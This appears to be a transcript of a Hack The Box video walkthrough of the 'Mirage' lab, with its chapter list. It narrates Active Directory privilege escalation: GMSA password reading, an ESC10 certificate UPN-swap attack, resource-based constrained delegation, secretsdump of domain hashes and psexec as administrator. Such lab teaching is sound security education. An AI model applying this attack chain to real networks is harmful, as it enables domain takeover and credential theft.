Just had to update it, but yeah, that's been fixed. Also cool that um this is the second box I recorded in a row where I found a hack the box issue in a open-source project that got fixed. Um I forget what the previous one was. It was to um net exec with the tombstone module. So, yeah. Uh let's see. What else do we have? So, we just did Javier Marshall's C cache. Um let's see. We should be able to do net exec LDAP and then was it GMSA? Uh to grab this. Uh we also need a {dash} k for Kerberos. And there we go. We have now read the Mirage Services NTLM password. So, let's just go uh v creds.text. We can put this here. And I'm going to save this NTLM here. And I'm not going to put Javier here because I'm assuming there's some cleanup script that's going to revert the password. So, every time we'll just have to run those few bloody AD commands if we wanted to do that account again. Um I did say there was one other way we could enumerate this, right? And I think knowing all these things is what really separates juniors from seniors because when you um follow things like you have this playlist of commands you run, it fails, as juniors you normally just assume it's not vulnerable. A senior engineer really knows like um how to get more information, what questions to ask from that information. Like when I saw, oh, I had logon hours, I see nothing. Does this mean everything or nothing? You have the experience to know to ask that question, right? Um a junior may not. They just see, oh, no logon hours, that means you can log in, right? So, the other thing we could do is with bloody AD there's a get writable flag, right? Um we are Mark Bond. If I just do get writable, we can see we have some write permissions over Javier. Some over Mark, some over this foreign um principal. If I do {dash} {dash} detail, it's going to show me all the permissions. So, over our own user, we have quite a bit of permissions which makes sense. Like we can update our pager mobile home phone, etc., right? Under Javier, we only have three things. We can write logon hours and UAC things, right? So, this would be another like big indication, oh, we can't log in. What can we write? Oh, we we could write to user account control. That's how we undisabled that user, re-enabled them. We can also write to logon hours. Why? Probably because we have to. Um and I've seen some organizations actually do this when they disable accounts. They'll disable accounts and also set no logon hours. That way it's much harder to get the account enabled accidentally. It's also somewhat common for like honeypots to leave the account enabled, set no logon hours, and then when someone attempts to log in, it still denies them, and then you get an alert because that user shouldn't be logging in. Um I've seen logon hours used quite a few times, but almost never for the intended purpose, right? Um so, that's besides the point. So, now as this GMCA account, what can we do? And then go to outbound object control, and we don't really see that much. We're just a member of domain computers, and we have some things, right? Uh so, let's go ahead and um run bloody AD again, except we're going to change our user to Mirage service dollar, I want to say, right? And we got to get the NTLM hash. So, let's cat creds. We have this hash. And I want to say we just do colon like this. Uh pre-auth failed. Uh bloody AD {dash} h search for hash LM colon. That should have worked. Mirage {dash} service dollar. I wonder if there's something special for um machine account logins. Oh, that's cool. I didn't know bloody AD could create BloodHound. Huh. That's interesting. Do {dash} h. Is it like a computer account? Uh {dash} o type, that's get writable. Let's see. I'm going to search for machine. Don't see it. Um what we can do is use a ticket login. So, get TGT. Uh let's do MirageHTB, Mirage service dollar. Like that. And then I'm going to specify {dash} hashes. That is not what I want. Oh, that's horrible. Get TGT {dash} hashes grab this. Paste. MirageHTB, Mirage service. I'm always putting this in quotes cuz we have a dollar sign. There we go. Now we have that. So, we should now be able to ignore the username and password. And we'll do KRB5 CCNAME is equal to Mirage service C cache. And there's probably something else we have to do. Let's see. Kerb {dash} k. Let's see. How do we use C cache? If P is provided, we'll try to query in TGT. Maybe we just have to specify the username. {dash} u Mirage service dollar get writable. Awesome. We got there eventually. That's all that matters. So, if we do get writable detail, um let's see. What do we have? Over Mark Bond, do we have anything interesting? We have Mark Bond, Mirage service. So, let's go back to Mark and look at everything we can write. Um manager, mail, all this MS DS stuff isn't that interesting. Other mailbox, not interesting. Name we can write, proxy address, oUSN, object CN. So, we can write the common name. We can also write user principal name. I had missed this when I was just reading it. But this is going to be the key thing, and this enables a lot of just um Active Directory Certificate Service type of attacks. And it's going to be really hard to find this ADCS attack because if we run it with any it's not going to find any vulnerabilities because um it's a misconfiguration on the server itself, not the certificate template, and Certipy looks at certificate templates. But before we get there, I want to do two things real quick. Um I want to run the BloodHound query. And that failed. Okay. Maybe I won't run BloodHound query like this. Um it's failing somewhere. That sucks. Um let's see. Which user could we write? It was Mark Bond we could overwrite, right? Mark B Bond. So, I want to look at his inbound control cuz I'm kind of surprised the um Mirage service doesn't show that on outbound of me being able to write this um UPN. So, if we go to inbound, member of, Mark Bond, administrator, it's not showing anything. Interesting. Um pathfinding. Let's try Mirage service. Javier. What is this path? Oh my god. This clicking drives me insane sometimes. So, nothing there. Let's try in the path we know. If we reverse this, that's still the path we know. Um so, the last thing I want to try real quick is I want to run the BloodHound Python ingestor to see if we get anything different. So, let's go back to net exec, and that password's definitely no longer valid, right, for Javier? Yeah, let's do was it Nathan? Um let's see. {dash} u Nathan. That's bloody AD. Um history grep LDAP grep Nathan Um Did I do a Okay. Uh maybe it's SMB I did with Nathan. Uh nope, I don't have anything in this terminal. Um let's do nxc LDAP 10 10 11 78 -u Uh let's get Nathan's credentials. nathan.atom -p grab this paste it and then let's see. We're LDAP, we want to run uh BloodHound. We got to specify the DNS server of 10 10 11 78. I'm going to do all collections. I don't know if I did all with RustHound. Um we also need -k for Kerberos. I wonder if that could be it because I didn't do all. Um Hopefully that's not it. That's a bad habit I have of not always doing all with RustHound. So, I'll probably check that right after we do this. If this does find it, right? Um it's still waiting to do this Kerberos auth. There we go. It's done. I'm going to go to administration, upload files and we can go to HTB Mirage Which file do I want? Um this I'll call it pi.zip just so I always know. Here it is. Upload. And it's going to start ingesting. This will probably take like 30 seconds for it to finish. So I'm just going to pause the video and resume when it's done. Okay, it is now marked complete. So, I'm going to go over to explore and then we're just going to look at the Mirage service account. And let's see if we have a new outbound connection. Does the Python ingester correctly find this? It did not. So um I'm not sure exactly what's going on here, but both Python and RustHound uh failed to get this right principal, right? Um It was here, right? Get writable. So, we're looking at that. Let's just double-check. I always feel crazy when I see these type of configurations not here. Um let's double-check. Mark Bond Look at this. Uh this would be inbound control cuz someone can write my UPN. Nope, nothing there. Out of curiosity, this looks all the same. So, no discrepancy between the Python ingester or RustHound. Uh so, we're good there, but as I was saying uh couple minutes ago, the ADCS 10 is a very hard one to find because it's a server misconfiguration, not a template misconfiguration, right? Um if we use Certipy, let's do Certipy. Um I don't know exactly how to use Let's just do KRB5CCNAME and hope this works. Um Mirage service. Yeah, let's do this. And then What is it? Find -vulnerable -u Mirage service dollar at mirage.htb -k DC IP 10 10 11 78 standard out Um Is it --standard out? Did I do that wrong? Um Like that? Okay, we have some type of error. Authentication failure, invalid credentials. Um Let's see authentication UP Kerberos Maybe I don't specify -k um the user. Nope, definitely need user. Uh we probably need the target. Let's do DC01 mirage.htb. Look at this. Okay, there we go. So, now we're running it as this account. Um the other account we're going to do is the Mark Bond. Uh we see no information here, so nothing is marked vulnerable. Um if we change this up and we can just do uh What was it? Mark I think it was B Bond, right? Yeah. And the password is one day at a time. So, let's do -p like this. Um Yeah, there we go. We authenticate. We're not seeing any vulnerabilities. I ran it as both because we're going to use the Mirage service account to change uh Mark Bond's UPN to be something else. Then we're going to request a certificate, change the UPN to something else again, and then we'll be able to use that certificate. Um we won't be able to use administrator. I'll show it failing there because I think that's set to like do um a non-delegated account cuz of the default administrator, so a lot of weirdness goes on there. Um I do want to show the blog post there that talks about this and then we can do some light enumeration. That's really a shot in the dark. This is one of those things that on an engagement, I'd probably just try to see if it works cuz it's very rare for you to have a shell on the domain controller itself, right? Um normally you won't be able to check this. So, let's just do uh Certipy GitHub because it's going to be on this page. We want to go to the wiki. Uh that's not the wiki. This is the wiki. Let's go to resources. ESC10 and they have a link. There's a lot of good reading for all these um exploit paths, right? And the entire thing is a good read, but it would be 20 minutes if I just read it silently, much longer if we went over the entire thing. So, I'm going to skip to ESC10 because that's where it becomes relevant. And there's two registry keys. One is if certificate binding enforcement is disabled and the other is if the UPN bit is set to four. So, let's go ahead and check both of these keys. So, we want to get over to a PowerShell terminal. Um let's just get it back up. There we go. And we should be able to just do a get-item path. So, we should be able to do get-item path HKLM for HKeyLocalMachine. Give it this path and we see certificate mapping method is four. Uh was that one of these? Uh certificate mapping method is four, which is UPN. So case two is definitely valid. Let's try the other case real quick. Let's get this one. So, get-item We'll delete all this. Search this. Um I have a space, I think. KDC We have strong certificate binding. That is set to one, which I believe means enabled. So, case one does not work with us. Um Yeah, so in the abuse, this is essentially a standard um attack where we change the UPN, set it to something, and change it back. Uh Let's see case two. Certificate mapping Um so, I'm just going to explain it as we go and we won't be able to do administrator because that is a non-delegated account, I believe, but I'm going to start with administrator and we're going to see it fail cuz I also think seeing failures is important, right? Um so, if I do KRB5CCNAME is equal to Mirage service Uh this is going to use the ticket we have. Then we can do bloody AD KD mirage.htb the host of DC01 mirage.htb And we want to change the UPN. So, we'll do set-object Mark Bond user principal name and this is case-sensitive. I'm going to change it to just be administrator. I'm going to try @mirage.htb. I think this is going to fail because of the unique constraint. Let's try this. Um there we go. UPN provided edition is not unique forest-wide, right? Because the user principal name is a unique constraint in AD, so no user can have the same UPN as another one. That being said, the UPN's a bit weak to identify users cuz it can either just be the username or the fully qualified username with the domain. So, what we're going to do is take this out and now our Mark Bond user has the UPN administrator. So, we're going to request a ticket now. So, we'll do Certipy request -u Mark Bond @mirage.htb. His password was what? One day at a time. We want to specify Kerberos DC IP 10 10 11 78. Uh we need the target so Kerberos works. So, DC01 mirage.htb. Um certificate authority That should be an Nmap, right? Uh Nmap Mirage Nmap It's also in Certipy output, but that's going to take some time to run where we should just be able to copy this. That should be the CA. So, we'll put that as the CA and then we'll just do the user template. Let's see, does this work? I'm hoping the UPN is still set. It should request a certificate and it'll be administrator.pfx, right? Yep, there we go. So, we have a certificate as administrator. So, you think I'd just be able to do a certify off pfx um the administrator uh DC IP of 10 10 11 78. And it doesn't work. Um we could try an LDAP shell here and it just does a failure. Um and I think this is because the account is um non-delegated or non-constrained or something. Oh, wait. What? It just defaulted back to Mark. I did not expect that, honestly. Um Okay. So, I guess the ticket still has some information of um Mark. Let's see, add user to group Mark Bond domain admins. This is going to fail, right? Insufficient rights. I'm honestly shocked it defaulted all the way back to Mark. Um I guess cuz it has maybe the SID or something else in the certificate. Um See, LDAP shell. Is there another thing we can specify? Uh let's see. Dash username administrator dash domain mirage.htb. I did two dashes? Let's see. Yeah. I guess because the SID in the certificate is um Mark's, that's what it's using to authenticate. Um I did not expect that. But, the UPN is definitely set to administrator. So, uh that doesn't work. It defaults back there. Um so, let's try a different account. So, let's go all the way back to our bloody AD command and we're going to set this equal to DCO1$. And it has been updated. I wonder if this has to be the fully qualified name. Um do both of these exist? Out of curiosity. So, we can set either of them, which is odd to me, but okay. Um So, we set it to be DCO1. And now we're going to do another request. So, the same thing. We're going to request the certificate. It's going to give us a cert to DCO1$. And we're going to try this LDAP shell again. And I think it's going to work this time, right? Uh so, we have that. Let's go. I'm just hitting up arrow. If we try to get a ticket or ccache as this, it fails. But, the machine account has something special where LDAP shell works. Not completely clear to me. Um It failed here. Okay. Let's go back to our bloody AD command. I'm going to do at mirage.htb. Let's give it the fully qualified name. Let's do another request. Oh, wait. I know why it was reverting back. Oh, shoot. Um For this attack to work once you generate the certificate, you have to change the UPN back to something else. That's where I was failing. So, I'm going to change it to does not matter. And now if I try this LDAP shell again with administrator's pfx this is going to fail, right? Yeah. Because when I was doing it before, both of these values matched. So, that's why it was giving me the Mark account, right? Because Mark's UPN was administrator and he had the SID. So, when I connected, it gave me an LDAP shell. But now Mark no longer um has that UPN. So, this is a mismatch and it blocks our connection. Now, because I set this UPN to be does not matter if I just hit up this one command that we did before with the DCO1 pfx, it's just magically going to work. Um Did I do it? There we go. Uh username and domain not specified or not found in ticket. So, let's do LDAP shell. And it still failed. Let's set this to be the fully qualified name. So, we'll do at mirage.htb. Request the ticket. Um request. There we go. It's going to ask me to overwrite the ticket, which is going to be fine. Come on. Eventually, it's going to ask. Yes, we overwrote. So, if I do this LDAP shell, it's going to fail because we haven't changed the name away from it or it authenticates, but we're still Mark. So, I'm now going to update the UPN of Mark to be does not matter. We probably should put it back to Mark at mirage.htb. But, really doesn't matter. We're going to do this. And now that um mismatch still happens but it trusts our machine account for some reason. I don't fully understand exactly what went on there. But, that's ESC10, right? Um So, now we should be able to um do uh resource-based constrained delegation. We don't have like full permission, so if I tried to uh let's do add user to group Mark Bond and the group's going to be domain admins. This is still going to fail with a permission. But, we can do a set RBCD and give it a machine account, um which will be like Mirage service dollar. And we can use this account. We don't have to create our own machine account because we know the password to this. We know that NTLM hash already. So, we do this. Uh list What is it? Set RB target and grantee. So, we have to give it who we can impersonate as. So, we'll do set RBCD and we'll do DCO1 and then we're going to give it the Mirage service. So, what this is saying is Mirage service can create tickets on the behalf of DCO1. There we go. That looks like it worked. So, now let's go ahead and um create the ticket, right? So, we should be able to just do KRB5CCNAME. And I think this is actually going to fail the first time because I'm just going to use the old ticket we have. And whenever you do the get TGT command, that lists the permissions you have in the ticket. So, I don't think we have the impersonation privilege in this ticket just yet. But, I just kind of want to show that, right? So, we'll do get service ticket and then SPN um we'll do http/DCO1.mirage.htb. And then we'll do impersonate DCO1 and our account is mirage.htb Mirage service. And I don't think we specify the dollar at the end. Uh we probably want dash no pass, so it doesn't ask for his password. Um it saved. So, maybe we don't have to get a new ticket. I was really expecting this to fail cuz normally uh these say what you have, but I guess it's maybe only the groups and the tickets itself don't matter. Um because I think this is talking to the domain right here. I don't know exactly. Let's just try it to see if this works. Uh KRB5CCNAME. Uh name is equal to DCO1. There we go. That's the ticket it gave us. We'll do secretsdump.py no pass Kerberos DCO1. mirage.htb just DC NTLM. Let's see. Looks like it is working. Um so, we should be able to get the administrator account here. Uh let's see. Here it is. Administrator. So, let's do psexec. dot py dash hashes I really expected to have to get a new um ticket up here. If you're ever like doing something that you think you have permissions to and and just not working and you're using a saved Kerberos ticket, always just refresh this ticket cuz you never know exactly what's in that data. Um but I digress. So, let's get back to this. Mirage HTB administrator. Uh let's see. at DC01 Mirage HTB Not supported. K for Kerberos. There we go. Awesome. And that's pretty much going to be the box, right? Uh let's do CD users administrator desktop. Make sure there's nothing weird like um Windows EFS protecting this, but nope. There we go. Uh if you want to look at Ccache files, you can also use describe ticket. And that would be the Mirage service. We look at it. Um let's see. What information is here? Session key, the realm. The flags. Maybe I'm getting it confused with flags. I thought the groups would be a part of this. I know the groups are probably part of that PFX. Um So, let's see. How many PFX files do we have here? We have administrator and DC01. So, let us grab the certificate out of the administrator PFX file, which is like a certificate bag. I like calling them because it has both the key and the um certificate. And we just want the certificate cuz that contains the information. So, do OpenSSL PKCS12 in administrator.pfx. Uh we don't want the key, so we'll say no keys. And we'll do out and we'll say administrator.crt. Uh there is no import password. So, if we just look at this, we have our certificate, right? Um if we want to look at more information of this, we can do OpenSSL X509 and uh administrator.cert. And no out text. And let's see. What do we have here? Cuz this has more information, right? Uh we have the UPN right here. Um what else do we have? I was hoping we had groups, but I don't see them yet. Moduli Here's the subject, the OU where we're located. But I don't see group. Um One of these tickets, I swear um has it. We did this. What did this do? Um it's no longer affordable. Uh What ticket did that create? The Ccache. What does this say? I'm I think I've lost it, but I am 90% positive like if you have Kerberos issues that you think you have a permission that you don't, just get a new ticket. Um Cuz weird things happen in Kerberos, but that is going to be the box. Hope you guys enjoyed it. Take care and I will see you all next time.
Original Description
00:00 - Introduction
01:10 - Start of nmap
03:50 - Exploring NFS which is odd on a Windows Box
06:20 - Mounting the share with NFSv3, so we can spoof UID's to read any file we want
11:11 - Using NSUpdate to create a DNS Record for nats-svc.mirage.htb
15:36 - Running a NATS Server, so we can see clients connect to us when we put the malicious DNS Record in
21:45 - Failed to modify the code to remove the redaction around password, just grabbing the password from Wireshark since its not encrypted
25:50 - Grabbing the NATS Client, then using the credentials to connect to NATS and dump messages out of JetStream to get another credential
29:26 - Edit: Getting claude to fix the code correctly
32:49 - Running Rusthound, discovering kerberoastable users, getting another credential
39:00 - Discovering Nathan.AADAM can login to the box, then discovering another user is logged into the box
45:00 - Talking about the Cross Session Relay attack and then using RemotePotato to steal the logged in users NetNTLMv2 Hash
52:00 - Back to bloodhound, discovering mark.bbond can change javier.mmarshall's password whom can read GMSA Accounts.
54:45 - Discovering javier's account is disabled via bloodyAD, then re-enabling it but still can't login. Looking at the user object and seeing an oddity with logonhours
1:01:01 - Talking about what separates senior engineers from juniors -- Its about knowing what to do when things fail, showing another way we could find the logonHours step by looking at get writable
1:13:00 - Running Certipy to showing it will miss the ESC10 vulnerability then talking about it
1:24:42 - Using BloodyAD to change Mark's UPN to be DC01$, requesting a ticket, then getting an ldapshell to the domain as DC01$, and using set_rbcd to setup a constrained delegation attack
1:27:15 - Using getST with our machine account (GMSA), to forge a ticket that grants us access to the domain
Watch on YouTube ↗
(saves to browser)
Sign in to unlock AI tutor explanation · ⚡30
Playlist
Uploads from IppSec · IppSec · 0 of 60
← Previous
Next →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
HHC2016 - Analytics
IppSec
HackTheBox - October
IppSec
HackTheBox - Arctic
IppSec
HackTheBox - Brainfuck
IppSec
HackTheBox - Bank
IppSec
HackTheBox - Joker
IppSec
HackTheBox - Lazy
IppSec
Camp CTF 2015 - Bitterman
IppSec
HackTheBox - Devel
IppSec
Reversing Malicious Office Document (Macro) Emotet(?)
IppSec
HackTheBox - Granny and Grandpa
IppSec
HackTheBox - Pivoting Update: Granny and Grandpa
IppSec
HackTheBox - Optimum
IppSec
HackTheBox - Charon
IppSec
HackTheBox - Sneaky
IppSec
HackTheBox - Holiday
IppSec
HackTheBox - Europa
IppSec
Introduction to tmux
IppSec
HackTheBox - Blocky
IppSec
HackTheBox - Nineveh
IppSec
HackTheBox - Jail
IppSec
HackTheBox - Blue
IppSec
HackTheBox - Calamity
IppSec
HackTheBox - Shrek
IppSec
HackTheBox - Mirai
IppSec
HackTheBox - Shocker
IppSec
HackTheBox - Mantis
IppSec
HackTheBox - Node
IppSec
HackTheBox - Kotarak
IppSec
HackTheBox - Enterprise
IppSec
HackTheBox - Sense
IppSec
HackTheBox - Minion
IppSec
VulnHub - Sokar
IppSec
VulnHub - Pinkys Palace v2
IppSec
HackTheBox - Inception
IppSec
Vulnhub - Trollcave 1.2
IppSec
HackTheBox - Ariekei
IppSec
HackTheBox - Flux Capacitor
IppSec
HackTheBox - Jeeves
IppSec
HackTheBox - Tally
IppSec
HackTheBox - CrimeStoppers
IppSec
HackTheBox - Fulcrum
IppSec
HackTheBox - Chatterbox
IppSec
HackTheBox - Falafel
IppSec
How To Create Empire Modules
IppSec
HackTheBox - Nightmare
IppSec
HackTheBox - Nightmarev2 - Speed Run/Unintended Solutions
IppSec
HackTheBox - Bart
IppSec
HackTheBox - Aragog
IppSec
HackTheBox - Valentine
IppSec
HackTheBox - Silo
IppSec
HackTheBox - Rabbit
IppSec
HackTheBox - Celestial
IppSec
HackTheBox - Stratosphere
IppSec
HackTheBox - Poison
IppSec
HackTheBox - Canape
IppSec
HackTheBox - Olympus
IppSec
HackTheBox - Sunday
IppSec
HackTheBox - Fighter
IppSec
HackTheBox - Bounty
IppSec
More on: Network Security
View skill →Related AI Lessons
⚡
⚡
⚡
⚡
I found 10 bugs in my own security scanner. Here's what they taught me about false positives.
Dev.to · Zein Saleh
Sudden SSL Error for github pages custom domain website
Reddit r/webdev
Reverse-proof protector
Medium · Cybersecurity
The 7 IAM Misconfigurations We See in Almost Every AWS Account
Dev.to · Shieldly
Chapters (18)
Introduction
1:10
Start of nmap
3:50
Exploring NFS which is odd on a Windows Box
6:20
Mounting the share with NFSv3, so we can spoof UID's to read any file we want
11:11
Using NSUpdate to create a DNS Record for nats-svc.mirage.htb
15:36
Running a NATS Server, so we can see clients connect to us when we put the mal
21:45
Failed to modify the code to remove the redaction around password, just grabbi
25:50
Grabbing the NATS Client, then using the credentials to connect to NATS and du
29:26
Edit: Getting claude to fix the code correctly
32:49
Running Rusthound, discovering kerberoastable users, getting another credentia
39:00
Discovering Nathan.AADAM can login to the box, then discovering another user i
45:00
Talking about the Cross Session Relay attack and then using RemotePotato to st
52:00
Back to bloodhound, discovering mark.bbond can change javier.mmarshall's passw
54:45
Discovering javier's account is disabled via bloodyAD, then re-enabling it but
1:01:01
Talking about what separates senior engineers from juniors -- Its about knowin
1:13:00
Running Certipy to showing it will miss the ESC10 vulnerability then talking a
1:24:42
Using BloodyAD to change Mark's UPN to be DC01$, requesting a ticket, then get
1:27:15
Using getST with our machine account (GMSA), to forge a ticket that grants us
🎓
Tutor Explanation
DeepCamp AI